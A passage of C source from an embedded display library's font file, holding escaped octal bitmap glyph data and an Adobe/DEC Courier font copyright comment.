\"\\0\\0\\0\\0\\0\\0\\0\\200`\\60\\20\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\177\\204\\2\\1\\1\\1\\1\\2\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\0\\70\\10\\10\\10\\10\\10\\10\\350\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200p\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\20\\10\\10\\10\\10\\20\\340\\0\\0\\0\\0\\0\\0\\0p\\211\\6\\4\\4\\4\\4\\6\\211p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\340\\60\\20\\10\\10\\10\\20\\60\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\4\\302\\77\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\203\\203\\203\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@  \\0\\0\\0\\0\\0\\4\\16\\12\\21\\21  @@\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\22\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  @@\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200@@  \\21\\21\\12\\16\"\n  \"\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\20\\20\\20\\20\\20 \\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\10\\10\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\30\\10\\4\\4\\4\\204\\210\\360\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\36!@@\\177@\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\10\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\320\\60\\20\\60\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\4\\4\\4\\4\\12\"\n  \"\\361\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20 @\"\n  \"\\360\\0\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\20\\20\\20\\20 `\\200\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\177\\0\\0\\0\\0\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20 @\\360\"\n  \"\\0\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\20\\20\\20\\20\\360\\20\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\0\\0\\0\\377\\4\\4\\4\\4\\4\\4\\4\\377\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\20\\20\\20\\20\\360\\20\\20\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\360\\20\\20\\20\\0\\0\\0\\0\\360\\0\\0\\0\\0\\0\\0\\200\\177\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\0\\0\\200P\\60\\20\"\n  \"\\20\\0\\0\\0\\0\\0\\0\\377\\10\\4\\6\\11\\20 \\300\\0\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\2\\3\"\n  \"\\2\\2\\0\\0\\0\\20\\20\\20\\360\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\340\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\20\\360p\\200\\0\\0\\0\\0\\0\\200p\"\n  \"\\360\\20\\0\\0\\0\\0\\377\\0\\1\\6\\30\\20\\30\\6\\1\\0\\377\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\20\\20\\360\\60@\\200\\0\\0\\20\\20\\20\\360\\20\\20\\0\\0\\0\\0\\377\\0\\0\\1\\6\\30`\\200\\0\\377\"\n  \"\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20 `\"\n  \"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\0\\377\\10\\10\\10\\10\\10\\10\\4\"\n  \"\\3\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\20 `\"\n  \"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\11\\12\\6\\16\\12\\12\\11\\5\"\n  \"\\4\\0\\0\\0\\0\\20\\20\\360\\20\\20\\20\\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\0\\377\\10\\10\\10\\10\\30(\\304\\3\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\3\\2\\2\\0\\0\\0\\0\\300  \\20\\20\\20\\20 @\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\301\\202\\2\\4\\4\\4\\4\\10\\10\\360\\0\\0\\0\\0\\0\\0\\3\\0\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\360\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\0\\0\\20\\20\\20\\360\"\n  \"\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20p\\220\\20\\20\\0\\0\\0\\20\\20\\220p\\20\\0\\0\\0\\0\\0\\1\\16p\\200\\0\\200p\\16\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\0\\200\\0\\20\\20\\20\"\n  \"\\360\\20\\0\\0\\0\\0\\7\\370\\200p\\16\\1\\16p\\200\\370\\7\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\60\\320\\20\\0\\0\\0\\20\\320\\60\\20\\20\\0\\0\\0\\0\\0\\200@\\61\\12\\4\\12\\61@\\200\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\20\\20\\60\\320\\0\\0\\0\\0\\0\\320\\60\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\3\\4\\370\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\20\\20\\220P\\60\\0\\0\\0\\0\\0\\0\\1\\200@\\60\\10\\4\\3\\0\\0\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\4\\4\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\14\\60\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\60\\300\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@ \\20\\10\\14\\10\\20 @\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@@@@@@@@@@\"\n  \"@@@\\0\\0\\0\\0\\0\\4\\14\\30\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\21\\10\\10\\10\\10\\10\\21\\376\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\10\\10\\370\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\202\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\203|\\0\\0\\0\\2\\2\\3\\0\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\207\\200\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\10\\10\\370\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\0\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\200\\200\\200\\360\\230\\210\\210\\210\\210\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\"\n  \"\\200\\200\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\\0\\0\\0\\0\\0\\0\\1ABBBBB!\\60\\17\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\370\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\0\\0\\0\\0\\1\\376\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\200\\200\\200\\234\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\234\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0@@@@@ \\60\\17\\0\\0\\0\\0\\0\\0\\0\\10\\10\\370\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\20\\30$B\\201\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\3\\0\\0\\0\\0\\2\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\200\\200\\200\\0\\200\\200\\200\\0\\0\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\1\\0\\0\\0\\377\\1\\0\\0\\0\\377\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\3\\2\\0\\0\\0\"\n  \"\\3\\2\\0\\0\\0\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\0\\0\\0\\0\\1\\376\"\n  \"\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\202\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\203|\\0\\0\\0@@\\177@AB\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\200\"\n  \"\\200\\200\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\202\\377\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2BA@\\177\"\n  \"@@\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\1\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\7\\10\\10\\10\\20\\20\\21\\343\\0\\0\\0\\0\\0\\0\\0\\3\\1\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\370\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\"\n  \"\\2\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\200`\\34\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\7x\\200\\0\\360\\14\\360\\0\\200x\\7\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\202D(\\20(D\\202\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\\2\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0@@@@qNC\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\200@ \\20\\10\\4\\2\\201\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\4\\4\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\367\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\367\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\17\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\6\\2\\2\\6\\14\\10\\10\\14\\6\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 18/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR18_2x3_n[1300] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_n\") = \n  \" :\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\360\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\20\\31\\15\\7\\3\\7\\15\\31\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\377\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0`\\70\\36\\16\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\14\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300@   @\\300\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\4\\6\\1\\0\\0\\0\\0\\0\\0\\0@@@ \\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\17\\10\\10\\10\\10\"\n  \"\\0\\0\\0\\0\\0\\0\\200@@    @\\200\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\200@ \\20\\10\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\12\\11\\10\\10\\10\\10\\10\\10\\14\\0\\0\\0\\0\\0\\0\\0@     @\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\24\\23\\340\\0\\0\\0\\0\\0\\0\\2\\4\\4\\10\\10\\10\\10\\4\\4\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200@ \\340\\0\\0\\0\\0\\0\\0\\0\\0\\300\\260\\214\\202\\201\\200\\200\\377\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\17\\10\\10\\0\\0\\0\\0\\0\\0\\0\\340       \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\17\\10\\4\\4\\4\\4\\10\\30\\340\\0\\0\\0\\0\\0\\0\\4\\4\\10\\10\\10\\10\\10\\4\\6\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@    \\0\\0\\0\\0\\0\\0\\0\\0\\376\\21\\10\\4\\4\\4\\4\\10\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\10\\4\\3\\0\\0\\0\\0\\0\\0\\340      \\240`\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300<\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200@    @\\200\\0\\0\\0\\0\\0\\0\\0\\300'\\30\\20\\20\\20\\20\\30'\\300\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\6\\4\\10\\10\\10\\10\\4\\6\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300@   @\\300\\200\"\n  